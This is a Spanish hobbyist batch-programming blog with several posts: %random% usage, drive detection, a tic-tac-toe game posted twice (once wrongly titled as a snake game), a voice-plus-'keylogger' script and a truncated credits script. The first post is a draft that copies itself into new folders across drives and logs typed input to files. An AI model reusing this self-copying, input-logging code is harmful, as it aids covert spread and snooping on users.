lunes, 27 de septiembre de 2010

Uso del random en batch

En este tutorial vamos a ver el uso del random que no es mas que una  variable del sistema capaz de generar números aleatorios que tiene un rango desde el 0 al 32767 y no incluye números decimales ni negativos y también podemos decir que random no es un comando sino que es una variable del sistema. Un ejemplo preciso es abrir Cmd y tecleamos %Random% y ahí veremos un numero que nos da el sistema y si volvemos a escribir %Random% veremos que el sistema nos da otro numero diferente. En resumen Random es para darnos números aleatorios.


Ahora les voy a presentar un pequeño programa que estoy haciendo al ver los comandos empleados veremos las diferentes opciones que nos da random. Otra cosa esto es un borrador de un programa que estoy haciendo.



rem random indica que el archivo a crear tendra nombre aleatorio cada vez que se ejecute
set b=%random%
rem aqui a medida que presionamos enter nos crea mas carpetas con nombres (numeros) aleatorios
for %%A in (%a%) do (md "%%A:\%b%.bat")
rem esto es un keylogger, va a tener un nombre aleatorio
set /p key= %random%.txt
rem aqui se pueden poner mas unidades
echo %key%>>C:\%random%.txt
echo %key%>>E:\%random%.txt
rem al abrir el keylogger si no ejecutamos una tecla cualquiera con el teclado nos va a aparecer "Echo esta desactivado"
rem aqui te crea una copia del programa dentro de las carpetas creadas
for %%A in (%a%) do (copy %0 "%%A:\%b%.bat")
rem aqui el programa me ejecuta el nombre aleatorio y no lo reconoce como un comando
rem esta opcion tambien sirve en caso de que hagamos un keylogger para que nos de nombres aleatorios
for %%A in (%a%) do (%random% %0 "%%A:\%b%.bat")
rem en caso de que querramos podemos agregarle un menu junto con el goto, asi nos daria una pausa y no se nos cerraria el bat.
rem hacer que me aparezca el log aleatorio en la carpeta que se creo
rem si le agregamos la orden for %%A in (%a%) do (move %0 %random%) el bat nos creara un archivo desconocido
rem si ejecutamos el batch que se copio nos creara otro log con nombre diferente
rem si le agregamos el menu nos hara una copia de los archivos copiados es decir el prueba.bat
goto menu
exit

Luego voy a poner la conclusión de este programa porque todavía lo estoy diseñando, no me falta mucho lo que me falta es crear el código para que el keylogger que se crea se mueva a la carpeta que se creo junto a la copia del bat que tiene adentro.

viernes, 17 de septiembre de 2010

Programa para visualizar la cantidad de unidades de almacenamiento de la computadora

Este es un codigo que nos pueden servir de mucha ayuda para el aprendizaje de batch:

@echo off
rem Programa para detectar las unidades,el abc es la cantidad de unidades que puede tener la pc
for %%_ in (a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, s, t, u, v, w, x, y, z) do (
dir /b %%_:\ > nul 2>&1 && (
echo Unidad "%%_:" detectada
)
)
>nul (pause)
exit /b 0

eso era todo!!!!!!!!!!!!!!!!

jueves, 16 de septiembre de 2010

Juegos en batch (Culebrita)

Ahora veremos este jueguito que esta bien chulo, es sobre la culebrita que jugamos hace par de años.

@Echo Off
::Tic Tac Toe v2
::Author: Carlos
Call _BGraphs.cmd
Call _BMouse.cmd
:Global
SetLocal EnableExtensions EnableDelayedExpansion
Cls & Color 07
Graphs.exe FontSize 6
Graphs.exe HideCursor
Set "b.s.-1=O" & Set "b.s.0= " & Set "b.s.1=X"
Set /a "e.f.1=7,e.f.7=1,e.f.3=5,e.f.5=3"
Set /a "e.c.1.a=0,e.c.1.b=2,e.c.3.a=0,e.c.3.b=6"
Set /a "e.c.5.a=2,e.c.5.b=8,e.c.7.a=6,e.c.7.b=8"
Set /a "c.d.0=8,c.d.8=0,c.d.2=6,c.d.6=2"
Set /a "c.s.0.a=1,c.s.0.b=3,c.s.2.a=1,c.s.2.b=5"
Set /a "c.s.6.a=3,c.s.6.b=7,c.s.8.a=5,c.s.8.b=7"
Set "all=0 1 2 3 4 5 6 7 8"
Set "corners=0 2 6 8"
Set "edges=1 3 5 7"
Set "center=4"
Set "wp="0 1 2" "3 4 5" "6 7 8" "0 3 6""
Set "wp=!wp! "1 4 7" "2 5 8" "0 4 8" "2 4 6""
Set "c.0="0 0" "0 1" "0 2" "1 0" "1 1" "1 2" "2 0" "2 1" "2 2""
Set "c.1="0 4" "0 5" "0 6" "1 4" "1 5" "1 6" "2 4" "2 5" "2 6""
Set "c.2="0 8" "0 9" "0 10" "1 8" "1 9" "1 10" "2 8" "2 9" "2 10""
Set "c.3="4 0" "4 1" "4 2" "5 0" "5 1" "5 2" "6 0" "6 1" "6 2""
Set "c.4="4 4" "4 5" "4 6" "5 4" "5 5" "5 6" "6 4" "6 5" "6 6""
Set "c.5="4 8" "4 9" "4 10" "5 8" "5 9" "5 10" "6 8" "6 9" "6 10""
Set "c.6="8 0" "8 1" "8 2" "9 0" "9 1" "9 2" "10 0" "10 1" "10 2""
Set "c.7="8 4" "8 5" "8 6" "9 4" "9 5" "9 6" "10 4" "10 5" "10 6""
Set "c.8="8 8" "8 9" "8 10" "9 8" "9 9" "9 10" "10 8" "10 9" "10 10""
Set "f.c.0=0 0" & Set "f.c.1=0 4" & Set "f.c.2=0 8"
Set "f.c.3=4 0" & Set "f.c.4=4 4" & Set "f.c.5=4 8"
Set "f.c.6=8 0" & Set "f.c.7=8 4" & Set "f.c.8=8 8"
Set /a "computer=ties=player=0"
:Sprites
Set "vLine=\219\n\219\n\219"
Set "hLine=\219\219\219\219\219\219\219\219\219\219\219"
Set "eBox=\219\219\219\n\219\219\219\n\219\219\219"
Set "xBox=\219 \219\n \219\n\219 \219"
Set "oBox=\219\219\219\n\219 \219\n\219\219\219"
Set "vLine.Color=F" & Set "hLine.Color=F" & Set "eBox.Color=0"
Set "xBox.Color=B" & Set "oBox.Color=A"
:Main
Title Tic Tac Toe 2
Echo.Tic Tac Toe 2
Echo...............................
Echo.Play with Mouse.
Echo.For Quit Press Ctrl+C
Echo.Clic for Continue ...
Mouse > Nul 2>&1
Call :BMenu
Goto :Eof
:BMenu
Cls
Set /a "b=1"
:Play
If !b! Equ 1 (Call :BComputr) Else Call :BPlayer
Echo.
Echo. Clic for Continue ...
Mouse.exe > nul
Set /a "b*=-1"
Goto :Play
:IsCorner
For %%+ in (%corners%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsEdge
For %%+ in (%edges%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsCenter
For %%+ in (%center%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:BGame
For /L %%i in (0,1,8) Do Set /a "b[%%i]=0"
Set /a "Over=0"
:DrawBoard
Cls
For %%a in ("3 0" "7 0") Do Call :PutSprite hLine %%~a
For %%a in ("0 3" "4 3" "8 3" "0 7" "4 7" "8 7"
) Do Call :PutSprite vLine %%~a
Graphs.exe Locate 14 0
Echo.  Computer     Ties       Player
Echo.     !computer!          !ties!          !player!
Goto :Eof
:PutSprite
Graphs.exe -r PrintSprite %~2 %~3 !%~1.Color! "!%~1!"
Goto :Eof
:Winner
For %%+ in (%wp%) Do ( Call :_WinnerL %%~+
If !ErrorLevel! Neq 0 Exit /b !ErrorLevel!)
Exit /b 0
:_WinnerL
If !b[%~1]! Neq 0 (
If !b[%~1]! Equ !b[%~2]! If !b[%~3]! Equ !b[%~1]! Exit /b !b[%~1]!)
Exit /b 0
:Player
If !Over! Equ 1 Exit /b -1
Set /a "k=-1"
Set "cas="
For /f "tokens=1,2,3" %%a in ('Mouse.exe 2^>Nul') Do (
Set "cas=%%b %%c"
Set /a "clic=%%a")
If !clic! Neq 1 Goto :Player
For /L %%# in (0,1,8) Do For %%a in (!c.%%#!) Do (
If "%%~a" Equ "!cas!" Set /a "k=%%#")
If !k! Equ -1 Goto :Player
If !b[%k%]! Equ 0 (Call :UpdatePos %k% %~1
Exit /b %k%)
Goto :Player
:WinBlock
If !Over! Equ 1 Exit /b -1
If %~1 Equ 1 (Set /a "_win_value=2,_lost_value=-2"
) Else Set /a "_win_value=-2,_lost_value=2"
Call :_WinBloc %~1 %_win_value%
If !wb_return! Neq -1 (Set /a "Over=1"
) Else Call :_WinBloc %~1 %_lost_value%
Exit /b !wb_return!
:_WinBloc
Set /a "wb_return=-1"
For %%+ in (%wp%) Do (Call :_SumLine %%~+ %~2
If ErrorLevel 1 (For %%- in (%%~+) Do (If !b[%%-]! Equ 0 (
Call :UpdatePos %%- %~1
Set /a "wb_return=%%-"
Goto :_WinBloE))))
:_WinBloE
Goto :Eof
:_SumLine
Set /a "_sum_line=!b[%~1]!+!b[%~2]!+!b[%~3]!"
If !_sum_line! Equ %~4 Exit /b 1
Exit /b 0
:FullBoard
For /L %%i in (0,1,8) Do If !b[%%i]! Equ 0 Exit /b 0
Exit /b 1
:RUpdatePos
Set "av="
Set /a "cav=0"
For %%+ in (!%~1!) Do If !b[%%+]! Equ 0 (Set "av=!av! %%+"
Set /a "cav+=1")
If !cav! Equ 0 Exit /b -1
Set /a "rp=%random% %% !cav!+1"
For /f "tokens=%rp%" %%+ in ("!av!") Do Set /a "rp=%%+"
Call :UpdatePos !rp! %~2
Exit /b !ErrorLevel!
:UpdatePos
Set /a "b[%~1]=%~2"
Call :PutSprite eBox !f.c.%~1!
If %~2 Equ 1 Call :PutSprite xBox !f.c.%~1!
If %~2 Equ -1 Call :PutSprite oBox !f.c.%~1!
Set /a "us=0"
Call :Winner
Set "w=!ErrorLevel!"
If !w! Equ 1 (If !b! Equ 1 (Set /a "computer+=1,us=1"
) Else Set /a "player+=1,us=1"
) Else If !w! Equ -1 (If !b! Equ 1 (Set /a "player+=1,us=1"
) Else Set /a "computer+=1,us=1"
) Else (Call :FullBoard
If ErrorLevel 1 Set /a "ties+=1,us=1")
If !us! Equ 1 (Graphs.exe Locate 15 0
Echo.     !computer!          !ties!          !player!)
Exit /b %~1
:BPlayer
Call :BGame
Call :Player 1
Set /a "maxf=!ErrorLevel!"
Call :IsCenter %maxf%
If ErrorLevel 1 (Call :RUpdatePos corners -1
For /l %%. in (1,1,4) Do (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 If !Over! Equ 0 (
Call :RUpdatePos corners -1
If Not ErrorLevel 0 Call :RUpdatePos all -1))) Else (
Call :UpdatePos 4 -1
Call :Player 1
Set /a "maxc=0,maxe=0,maxcd=0,c1e1oc2nd=0"
For /L %%+ in (0,1,8) Do If !b[%%+]! Equ 1 (Call :IsEdge %%+
If ErrorLevel 1 (Set /a "maxe+=1") Else (Call :IsCorner %%+
If ErrorLevel 1 (Set /a "maxc+=1"
For /f %%- in ("b[!c.d.%%+!]") Do (If !%%-! Equ 1 Set /a "maxcd=1"
))))
If !maxc! Equ 1 (Set /a "c1e1oc2nd=1"
) Else If !maxc! Equ 2 If !maxcd! Equ 0 Set /a "c1e1oc2nd=1"
If !c1e1oc2nd! Equ 1 (Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
Set /a _res=!ErrorLevel!
If !Over! Equ 0 (If !_res! Neq -1 (Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos all -1
Call :Player 1)
) Else (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1) )) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 1 (
Call :UpdatePos !c.d.%%+! -1)
Call :Player 1
Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Call :RUpdatePos all -1
Call :Player 1) Else If !Over! Equ 0 (Call :Player 1
Call :RUpdatePos all -1)
) Else (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))) Else If !maxc! Equ 2 (
Call :RUpdatePos edges -1
Call :Player 1
For /l %%+ in (1,1,2) Do (Call :WinBlock -1
If !Over! Equ 0 Call :Player 1)) Else (
Set /a "eif=0"
For %%+ in (%edges%) Do (
If !b[%%+]! Equ 1 For /f %%- in ("b[!e.f.%%+!]") Do (
If !%%-! Equ 1 Set /a "eif=1"))
If !eif! Equ 1 (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Set /a "p=0"
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !p! Equ 0 If !%%a! Equ -1 (Call :UpdatePos %%+ -1
Set /a "p=1") Else If !p! Equ 0 If !%%b! Equ -1 (
Call :UpdatePos %%+ -1
Set /a "p=1")))
Call :Player 1
Call :WinBlock -1)) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 1 If !%%b! Equ 1 Call :UpdatePos %%+ -1
))
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))))
Exit /b
:BComputr
Call :BGame
Call :RUpdatePos corners 1
Set /a "maxf=!ErrorLevel!"
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCenter %minf%
If ErrorLevel 1 (Call :UpdatePos !c.d.%maxf%! 1
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCorner !minf!
If ErrorLevel 1 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1) Else (For /L %%+ in (1,1,2) Do (If !Over! Equ 0 (
Call :WinBlock 1
Call :Player -1))
If !Over! Equ 0 Call :WinBlock 1)
Goto :Eof)
Call :IsCorner %minf%
If ErrorLevel 1 (Call :RUpdatePos corners 1
Call :Player -1
Call :WinBlock 1
If !Over! Equ 0 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1)) Else (
Call :UpdatePos 4 1
Call :Player -1
Call :WinBlock 1
If Not ErrorLevel 0 (For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in ("b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 0 If !%%b! Equ 0 Call :UpdatePos %%+ 1)))
Call :Player -1
Call :WinBlock 1)
Goto :Eof

Juegos en Batch

Hola que tal programadores.ahora nos toca a nosotros los que todabia nos creemos niños jejejje, no es asi. bueno vamos a lo nuestro.En este articulo que voy  a publicar aprenderemos a crear divertidos pasatiempos como son los juegos.Estos codigos son bien sencillos solo basta con que los copien y los conviertan a batch, es decir con la extension .bat

Espero que les agraden.



@Echo Off
::Tic Tac Toe v2
::Author: Carlos
Call _BGraphs.cmd
Call _BMouse.cmd
:Global
SetLocal EnableExtensions EnableDelayedExpansion
Cls & Color 07
Graphs.exe FontSize 6
Graphs.exe HideCursor
Set "b.s.-1=O" & Set "b.s.0= " & Set "b.s.1=X"
Set /a "e.f.1=7,e.f.7=1,e.f.3=5,e.f.5=3"
Set /a "e.c.1.a=0,e.c.1.b=2,e.c.3.a=0,e.c.3.b=6"
Set /a "e.c.5.a=2,e.c.5.b=8,e.c.7.a=6,e.c.7.b=8"
Set /a "c.d.0=8,c.d.8=0,c.d.2=6,c.d.6=2"
Set /a "c.s.0.a=1,c.s.0.b=3,c.s.2.a=1,c.s.2.b=5"
Set /a "c.s.6.a=3,c.s.6.b=7,c.s.8.a=5,c.s.8.b=7"
Set "all=0 1 2 3 4 5 6 7 8"
Set "corners=0 2 6 8"
Set "edges=1 3 5 7"
Set "center=4"
Set "wp="0 1 2" "3 4 5" "6 7 8" "0 3 6""
Set "wp=!wp! "1 4 7" "2 5 8" "0 4 8" "2 4 6""
Set "c.0="0 0" "0 1" "0 2" "1 0" "1 1" "1 2" "2 0" "2 1" "2 2""
Set "c.1="0 4" "0 5" "0 6" "1 4" "1 5" "1 6" "2 4" "2 5" "2 6""
Set "c.2="0 8" "0 9" "0 10" "1 8" "1 9" "1 10" "2 8" "2 9" "2 10""
Set "c.3="4 0" "4 1" "4 2" "5 0" "5 1" "5 2" "6 0" "6 1" "6 2""
Set "c.4="4 4" "4 5" "4 6" "5 4" "5 5" "5 6" "6 4" "6 5" "6 6""
Set "c.5="4 8" "4 9" "4 10" "5 8" "5 9" "5 10" "6 8" "6 9" "6 10""
Set "c.6="8 0" "8 1" "8 2" "9 0" "9 1" "9 2" "10 0" "10 1" "10 2""
Set "c.7="8 4" "8 5" "8 6" "9 4" "9 5" "9 6" "10 4" "10 5" "10 6""
Set "c.8="8 8" "8 9" "8 10" "9 8" "9 9" "9 10" "10 8" "10 9" "10 10""
Set "f.c.0=0 0" & Set "f.c.1=0 4" & Set "f.c.2=0 8"
Set "f.c.3=4 0" & Set "f.c.4=4 4" & Set "f.c.5=4 8"
Set "f.c.6=8 0" & Set "f.c.7=8 4" & Set "f.c.8=8 8"
Set /a "computer=ties=player=0"
:Sprites
Set "vLine=\219\n\219\n\219"
Set "hLine=\219\219\219\219\219\219\219\219\219\219\219"
Set "eBox=\219\219\219\n\219\219\219\n\219\219\219"
Set "xBox=\219 \219\n \219\n\219 \219"
Set "oBox=\219\219\219\n\219 \219\n\219\219\219"
Set "vLine.Color=F" & Set "hLine.Color=F" & Set "eBox.Color=0" 
Set "xBox.Color=B" & Set "oBox.Color=A"
:Main
Title Tic Tac Toe 2
Echo.Tic Tac Toe 2
Echo...............................
Echo.Play with Mouse.
Echo.For Quit Press Ctrl+C
Echo.Clic for Continue ...
Mouse > Nul 2>&1
Call :BMenu
Goto :Eof
:BMenu
Cls
Set /a "b=1"
:Play
If !b! Equ 1 (Call :BComputr) Else Call :BPlayer
Echo.
Echo. Clic for Continue ...
Mouse.exe > nul
Set /a "b*=-1"
Goto :Play
:IsCorner
For %%+ in (%corners%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsEdge
For %%+ in (%edges%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:IsCenter
For %%+ in (%center%) Do If %~1 Equ %%+ Exit /b 1
Exit /b 0
:BGame
For /L %%i in (0,1,8) Do Set /a "b[%%i]=0"
Set /a "Over=0"
:DrawBoard
Cls
For %%a in ("3 0" "7 0") Do Call :PutSprite hLine %%~a
For %%a in ("0 3" "4 3" "8 3" "0 7" "4 7" "8 7"
) Do Call :PutSprite vLine %%~a
Graphs.exe Locate 14 0
Echo.  Computer     Ties       Player
Echo.     !computer!          !ties!          !player!
Goto :Eof
:PutSprite
Graphs.exe -r PrintSprite %~2 %~3 !%~1.Color! "!%~1!"
Goto :Eof
:Winner
For %%+ in (%wp%) Do ( Call :_WinnerL %%~+
If !ErrorLevel! Neq 0 Exit /b !ErrorLevel!)
Exit /b 0
:_WinnerL
If !b[%~1]! Neq 0 (
If !b[%~1]! Equ !b[%~2]! If !b[%~3]! Equ !b[%~1]! Exit /b !b[%~1]!)
Exit /b 0
:Player
If !Over! Equ 1 Exit /b -1
Set /a "k=-1"
Set "cas="
For /f "tokens=1,2,3" %%a in ('Mouse.exe 2^>Nul') Do (
Set "cas=%%b %%c"
Set /a "clic=%%a")
If !clic! Neq 1 Goto :Player
For /L %%# in (0,1,8) Do For %%a in (!c.%%#!) Do (
If "%%~a" Equ "!cas!" Set /a "k=%%#")
If !k! Equ -1 Goto :Player
If !b[%k%]! Equ 0 (Call :UpdatePos %k% %~1
Exit /b %k%)
Goto :Player
:WinBlock
If !Over! Equ 1 Exit /b -1
If %~1 Equ 1 (Set /a "_win_value=2,_lost_value=-2"
) Else Set /a "_win_value=-2,_lost_value=2"
Call :_WinBloc %~1 %_win_value%
If !wb_return! Neq -1 (Set /a "Over=1"
) Else Call :_WinBloc %~1 %_lost_value%
Exit /b !wb_return!
:_WinBloc
Set /a "wb_return=-1"
For %%+ in (%wp%) Do (Call :_SumLine %%~+ %~2
If ErrorLevel 1 (For %%- in (%%~+) Do (If !b[%%-]! Equ 0 (
Call :UpdatePos %%- %~1
Set /a "wb_return=%%-"
Goto :_WinBloE))))
:_WinBloE
Goto :Eof
:_SumLine
Set /a "_sum_line=!b[%~1]!+!b[%~2]!+!b[%~3]!"
If !_sum_line! Equ %~4 Exit /b 1
Exit /b 0
:FullBoard
For /L %%i in (0,1,8) Do If !b[%%i]! Equ 0 Exit /b 0
Exit /b 1
:RUpdatePos
Set "av="
Set /a "cav=0"
For %%+ in (!%~1!) Do If !b[%%+]! Equ 0 (Set "av=!av! %%+"
Set /a "cav+=1")
If !cav! Equ 0 Exit /b -1
Set /a "rp=%random% %% !cav!+1"
For /f "tokens=%rp%" %%+ in ("!av!") Do Set /a "rp=%%+"
Call :UpdatePos !rp! %~2
Exit /b !ErrorLevel!
:UpdatePos
Set /a "b[%~1]=%~2"
Call :PutSprite eBox !f.c.%~1!
If %~2 Equ 1 Call :PutSprite xBox !f.c.%~1!
If %~2 Equ -1 Call :PutSprite oBox !f.c.%~1!
Set /a "us=0"
Call :Winner
Set "w=!ErrorLevel!"
If !w! Equ 1 (If !b! Equ 1 (Set /a "computer+=1,us=1"
) Else Set /a "player+=1,us=1"
) Else If !w! Equ -1 (If !b! Equ 1 (Set /a "player+=1,us=1"
) Else Set /a "computer+=1,us=1"
) Else (Call :FullBoard
If ErrorLevel 1 Set /a "ties+=1,us=1")
If !us! Equ 1 (Graphs.exe Locate 15 0
Echo.     !computer!          !ties!          !player!)
Exit /b %~1
:BPlayer
Call :BGame
Call :Player 1
Set /a "maxf=!ErrorLevel!"
Call :IsCenter %maxf%
If ErrorLevel 1 (Call :RUpdatePos corners -1
For /l %%. in (1,1,4) Do (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 If !Over! Equ 0 (
Call :RUpdatePos corners -1
If Not ErrorLevel 0 Call :RUpdatePos all -1))) Else (
Call :UpdatePos 4 -1
Call :Player 1
Set /a "maxc=0,maxe=0,maxcd=0,c1e1oc2nd=0"
For /L %%+ in (0,1,8) Do If !b[%%+]! Equ 1 (Call :IsEdge %%+
If ErrorLevel 1 (Set /a "maxe+=1") Else (Call :IsCorner %%+
If ErrorLevel 1 (Set /a "maxc+=1"
For /f %%- in ("b[!c.d.%%+!]") Do (If !%%-! Equ 1 Set /a "maxcd=1"
))))
If !maxc! Equ 1 (Set /a "c1e1oc2nd=1"
) Else If !maxc! Equ 2 If !maxcd! Equ 0 Set /a "c1e1oc2nd=1"
If !c1e1oc2nd! Equ 1 (Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
Set /a _res=!ErrorLevel!
If !Over! Equ 0 (If !_res! Neq -1 (Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos all -1
Call :Player 1)
) Else (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1) )) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 1 (
Call :UpdatePos !c.d.%%+! -1)
Call :Player 1
Call :WinBlock -1
If ErrorLevel 0 (Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Call :RUpdatePos all -1
Call :Player 1) Else If !Over! Equ 0 (Call :Player 1
Call :RUpdatePos all -1)
) Else (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))) Else If !maxc! Equ 2 (
Call :RUpdatePos edges -1
Call :Player 1
For /l %%+ in (1,1,2) Do (Call :WinBlock -1
If !Over! Equ 0 Call :Player 1)) Else (
Set /a "eif=0"
For %%+ in (%edges%) Do (
If !b[%%+]! Equ 1 For /f %%- in ("b[!e.f.%%+!]") Do (
If !%%-! Equ 1 Set /a "eif=1"))
If !eif! Equ 1 (Call :RUpdatePos edges -1
Call :Player 1
Call :WinBlock -1
If Not ErrorLevel 0 (Set /a "p=0"
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !p! Equ 0 If !%%a! Equ -1 (Call :UpdatePos %%+ -1
Set /a "p=1") Else If !p! Equ 0 If !%%b! Equ -1 (
Call :UpdatePos %%+ -1
Set /a "p=1")))
Call :Player 1
Call :WinBlock -1)) Else (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in (
"b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 1 If !%%b! Equ 1 Call :UpdatePos %%+ -1
))
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 (Call :RUpdatePos corners -1
Call :Player 1
Call :WinBlock -1
If !Over! Equ 0 Call :Player 1))))
Exit /b
:BComputr
Call :BGame
Call :RUpdatePos corners 1
Set /a "maxf=!ErrorLevel!"
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCenter %minf%
If ErrorLevel 1 (Call :UpdatePos !c.d.%maxf%! 1
Call :Player -1
Set /a "minf=!ErrorLevel!"
Call :IsCorner !minf!
If ErrorLevel 1 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1) Else (For /L %%+ in (1,1,2) Do (If !Over! Equ 0 (
Call :WinBlock 1
Call :Player -1))
If !Over! Equ 0 Call :WinBlock 1)
Goto :Eof)
Call :IsCorner %minf%
If ErrorLevel 1 (Call :RUpdatePos corners 1
Call :Player -1
Call :WinBlock 1
If !Over! Equ 0 (
For %%+ in (%corners%) Do If !b[%%+]! Equ 0 Call :UpdatePos %%+ 1
Call :Player -1
Call :WinBlock 1)) Else (
Call :UpdatePos 4 1
Call :Player -1
Call :WinBlock 1
If Not ErrorLevel 0 (For %%+ in (%corners%) Do If !b[%%+]! Equ 0 (
For /f "tokens=1,2" %%a in ("b[!c.s.%%+.a!] b[!c.s.%%+.b!]") Do (
If !%%a! Equ 0 If !%%b! Equ 0 Call :UpdatePos %%+ 1)))
Call :Player -1
Call :WinBlock 1)
Goto :Eof

miércoles, 15 de septiembre de 2010

Voz + Keylogger en Batch

Así como lo ven,yo no lo creía pero combinando código y sentencias he logrado crear un programita
en batch que te lea lo que escriba y a la vez te registre las teclas que presiones es decir:
(Escribe tu texto+presiona Enter)=Lee lo que escribiste+Log de lo que escribiste en la unidad de almacenamiento deseada.

Bonita formula eh? No lo creo!!! pues nada aquí les traigo el código y espero que lo compartan con mas usuarios.No es necesario poner los guiones.
------------------------------------------------------------------


@echo off
color 35
title Programa que lee y registra lo que escribes (Voz+Keylogger)
rem hacer lector de voz
:bucle
set /p texto= Escribe dos veces lo que quieres escuchar y despues presiona Enter:
rem el programa lee la segunda palabra escrita sino el keylogger no funciona, pero funciona la voz
set /p key=
echo dim mouth>"reproducir.vbs
rem puedes cambiar el titulo del vbs por el que quieras
echo set mouth= createobject ("sapi.spvoice")>>reproducir.vbs
echo mouth.speak "%texto%">>"reproducir.vbs"
wscript.exe reproducir.vbs
rem este es el keylogger, puedes ponerles mas unidades si quieres.
echo %key%>>C:\Poll.txt
goto bucle

Eso era todo, espero que lo disfruten y pongan sus comentarios!!!!!!!!!!!

jueves, 9 de septiembre de 2010

Creditos en Batch

He aqui un extenso codigo que sirven como si fuesen creditos, lo pueden editar a su antojo.

echo off
title Creditos en batch
mode con cols=71 lines=28 &color 1A
set LINEA=0
set LINEA_TEXTO_1=No te asuste por este codigo
set LINEA_TEXTO_2=Si quieres puedes editarlo a tu manera
set LINEA_TEXTO_3=Aqui aceptamos toda clase de comentarios
set LINEA_TEXTO_4=No te preocupes el conocimiento es eterno
set LINEA_TEXTO_5=Grasias señor
set LINEA_TEXTO_6=En verdad bill gates no me cae muy bien
set LINEA_TEXTO_7=comparte tus conocimientos
set LINEA_TEXTO_8=sonriele a la vida
set LINEA_TEXTO_9=No al aborto
set LINEA_TEXTO_10=thank you for loving me by bon jovi
set LINEA_TEXTO_11=El conocimiento debe ser gratis
set LINEA_TEXTO_12=No es que soy filantropo o algo asi
set LINEA_TEXTO_13=Te amo abigail
set LINEA_TEXTO_14=conocimiento gratis para todos!!!!
set LINEA_TEXTO_15=todosobreprogramacionbatch.blogspot.com

:: ----------------------------------------------------------------------------------------------------------------------

:INICIO
set /a LINEA = LINEA + 1

cls
echo.
echo.
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
echo. Codificado para Batch
echo ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
if %LINEA%==1 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
call :PING
)
if %LINEA%==2 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
call :PING
)
if %LINEA%==3 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
call :PING
)
if %LINEA%==4 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
call :PING
)
if %LINEA%==5 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
call :PING
)
if %LINEA%==6 (
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo %LINEA_TEXTO_1%
echo.
echo %LINEA_TEXTO_2%
echo.
echo %LINEA_TEXTO_3%
call :PING
)
if %LINEA%==7 (
echo.
echo.
echo.
echo.
echo.
echo.
